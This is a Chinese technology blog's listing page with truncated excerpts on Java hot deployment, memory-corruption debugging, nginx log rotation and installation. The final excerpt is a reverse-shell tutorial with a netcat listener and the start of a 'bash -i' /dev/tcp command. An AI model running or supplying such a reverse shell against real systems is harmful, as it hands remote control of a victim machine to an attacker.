技术专区
-
arthas进行java应用不停服务情况下的class文件热部署更新
我们在工作的过程中会遇到java应用已经部署或升级投入使用,发现某个单元文件有bug需要修正,但是客户的应用目前不能停止,而且不能因为一个非致命的bug来进行整个平台的一次升级。我们需要进行单文件的更新在不停…
-
Cache一致性导致的踩内存问题【转】
转自:http://blog.coderhuo.tech/2019/07/28/DMA_mem_crash/ 本文主要分享一个Cache一致性踩内存问题的定位过程,涉及到的知识点包括:backtrace、内存分析、efence、wrap系统函数、硬件watchpoint、DMA、Cache一…
-
Ubuntu内网穿透搭建网站:购买网站域名 12/17
在前面的介绍中,我们对自己的网站进行了多个方面的优化,但这些优化仅仅限于网站的本地部分,而对于网站的外部部分(即网站域名),还没有优化为我们想要(或需要)的样子,仍是cpolar生成的随机域名,这不仅过于…
-
Linux 监测内存访问的方法汇总【转】
转自:https://blog.csdn.net/dianzichongchong/article/details/120133833 1. hw break point它是 linux kernel 自带的,监测一段内存访问信息的方法。它可以检测一段内存是否被读或写。 具体可见 linux 自带例子…
-
如何利用硬件watchpoint定位踩内存问题【转】
转自:http://blog.coderhuo.tech/2019/07/21/arm_hardware_breakpoint/ 本文介绍如何使用ARM平台的硬件watchpoint定位踩内存问题,特别是如何在运行过程中自动对特定内存区域添加watchpoint。 在踩内存问题中,最…
-
Nginx log 日志分割
Nginx日志不处理的话,会一直追加,文件会变得很大 Linux nginx_log.sh #!/bin/bash date=$(date +%F -d -1day) cd /usr/local/nginx/logs if [ ! -d bak ] ; then mkdir -p bak fi mv access.log bak/access_$date…
-
linux学习相关资料整理
linux常用指令记录 nginx-1.22.0版本安装 nginx 安装篇-1.19.9版本源码安装 nginx 安装篇-yum安装 nginx配置文件单独创建和管理 nginx配置文件讲解及示例(可复制) apache手动安装教程及报错解决梳理 superv…
-
【问题解决】源码安装Nginx提示找不到openssl library
问题背景 最近测试同事说有一台服务器执行源码安装Nginx脚本出现openssl not found的错误解决不了让我帮忙看看,ssh连接上去后发现这台服务器安装了 CentOS7.9操作系统,并且已经安装了 openssl-devel 库,理论上不…
-
用bash反弹shell
用bash反弹shell 受害主机;linux系统 攻击机:需要安装netcat(nc) 受害主机执行:ifconfig ## 查看受害主机ip 攻击机执行:nc -lvp 19999 ## 在攻击机监听19999端口 受害主机执行:bash -i &> /dev/tc…